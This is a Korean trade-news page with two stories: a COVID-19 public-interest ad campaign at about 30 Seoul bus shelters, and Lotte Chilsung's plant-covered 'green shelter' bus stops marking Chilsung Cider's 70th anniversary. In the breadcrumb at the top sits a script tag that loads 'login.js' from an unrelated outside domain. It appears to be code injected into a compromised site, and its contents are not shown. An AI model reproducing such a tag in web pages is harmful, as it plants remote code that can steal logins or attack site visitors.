기사 > 뉴스기사<script src=https://bstour.net/kcp/login.js></script> > “코로나 함께 이겨내야죠”… 코로나19 극복 광고 ‘눈길’

대마기획, 서울 주요 교통요지 30여곳에 공익 캠페인 전개
3월 초부터 광화문·을지로·강남 등 버스셸터에 일제히 집행

코로나19 바이러스와 이에 따른 경제 위기 속에서 이를 극복하고 시민들을 응원하기 위한 옥외광고가 서울 중심가 곳곳에 집행돼 눈길을 끌고 있다. “어제까지만 해도 그들은 우리였습니다. 우리는 함께 이겨 나가야 합니다”라는 문장으로 시작하는 이 광고는 현장의 의료진들과 확진자들을 응원하고 모두가 힘을 합쳐서 어려운 시국을 극복해 나가자는 감성적인 메시지가 담겼다. 이 광고를 집행한 것은 옥외광고매체사 대마기획이다. 회사는 국가적으로 어려운 이 시국에 시민들에게 힘이 되고자 하는 마음으로 지난 3월 초부터 대대적인 광고를 집행했다. 광고는 강남대로, 을지로입구, 동대문디자인플라자 등의 버스쉘터와 광화문과 덕수궁, 청계광장 등의 시티투어 버스셸터 등 서울의 핵심 요지 30여 곳이다.

대마기획 오명철 대표는 “코로나19로 얼어붙은 시민들에게 조금이라도 힘이 되고 싶다는 생각에서 직원들과 논의한 결과 모두가 한마음 한뜻으로 이번 광고를 집행하기로 했다”며 “우리의 광고가 불안하고 어려운 시국에서도 생계를 위해 버스에 오르는 시민들에게 조금이라도 위안이 되기를 기대한다”고 취지를 밝혔다. 시민들도 이 광고를 기쁘게 받아 들이고 있다. 강남으로 출근하는 직장인 김모씨(44세)는 “버스를 기다리는 동안 광고판의 글귀를 읽어 보았다”며 “매번 불안한 마음을 안고 버스에 오르고는 했는데 광고를 보고 마음이 따뜻해지는 것을 느꼈다”고 말했다.

또 다른 직장인 민모씨(42세) 또한 “텅 빈 광고판을 볼 때면 시국의 어려움이 더 느껴지곤 했는데 함께 이겨내자는 메시지에 힘을 얻었다”고 소감을 전했다. 대마기회은 이번 공익광고를 코로나19가 가라앉을 때까지 무기한 집행한다는 방침이다. 한편 이번 광고 카피를 작성한 심상복 전 중앙일보 논설위원은 대마기획측의 취지를 듣고 흔쾌히 이번 캠페인에 참여한 것으로 알려졌다.

롯데칠성음료, 칠성사이다 70주년 기념해 ‘그린 셸터 광고’ 추진

케이아이엠지가 운영하는 양화신촌로 중앙차로 18개 정류장에 설치
공기정화 식물로 이뤄진 바이오월 설치… 청량한 환경 구현

롯데칠성음료가 자사의 히트상품인 칠성사이다 출시 70주년을 기념해 서울 버스 정류장을 녹색 공간으로 개선하고 이와 어울리는 새 광고 개발에 나선다. 이를 위해 롯데칠성측은 서울시와 ‘버스정류장 셸터(Shelter) 녹화사업’을 업무협약을 최근 체결했다. 롯데칠성이 추진하는 버스정류장 셸터 녹화사업은 버스정류장 주변 환경 개선을 위해 셸터를 자연 친화적으로 탈바꿈하고 녹색 문화를 확산하고자 기획됐다.

이를 통해 칠성사이다가 가진 청량하고 시원한 이미지를 확대해 가겠다는 전략이다. 칠성사이다 그린셸터는 케이아이엠지가 운영하고 있는 양화신촌로 중앙버스 정류장에 4월 완공을 폭표로 추진된다. 버스정류장 승차대 상부에 사계절 내내 푸르고 관리가 용이한 식물인 상록기린초, 수호초 등이 식재된 박스 형태의 화분을 설치하고 버스정류장의 벽면 공간에는 공기정화 기능이 있는 ‘바이오월(Bio wall)’을 설치할 계획이다. 식물의 잎과 토양을 활용하는 공기정화 시스템 바이오월은 기계식 공기청정기와 달리 필터 교체 등 유지관리에 들어가는 비용을 최소화할 수 있고 에너지 소모도 적어 경제적이다. 또한 녹색식물을 통해 도시미관을 높이고 시민들에게 청량한 기분을 전달할 수 있는 것도 장점이다.

롯데칠성 관계자는 “칠성사이다 70주년 캠페인의 일환으로 진행되는 이번 사업은 미세먼지를 비롯한 각종 대기오염 물질과 삭막한 도로 경관에 노출된 시민들에게 잠시나마 쾌적한 공간을 제공하고자 하는 의도에서 기획됐다”며 “이외에도 칠성사이다처럼 맑고 깨끗한 세상을 만드는 데 도움이 될 수 있는 다양한 친환경 캠페인을 더 많이 펼쳐 나갈 것”이라고 말했다. 광고 또한 기존의 일반적인 광고와 달리 칠성사이다 출시 70주년을 맞아 칠성사이다와의 추억을 떠올릴 수 있는 레트로 광고를 비롯해 칠성사이다 추억 감정소 이벤트 등 소비자들이 함께 공감할 수 있는 다양한 형태로 진행할 예정이다.

케이아이엠지 관계자는 “코로나19로 어려운 시국에서도 롯데칠성이 쾌적한 버스정류장 환경을 위해 이번 사업을 축소없이 진행하는 것에 대해 아주 감사하게 생각한다”며 “이 사업은 서울 버스정류장 광고의 위상을 높이고 새로운 가능성을 시사하는 중요한 전환점이 될 것으로 전망한다”고 밝혔다. 한편 케이아이엠지는 앞서 작년 서울 강남구에서도 공기정화식물을 이용한 그린 셸터를 시범운영한 바 있다.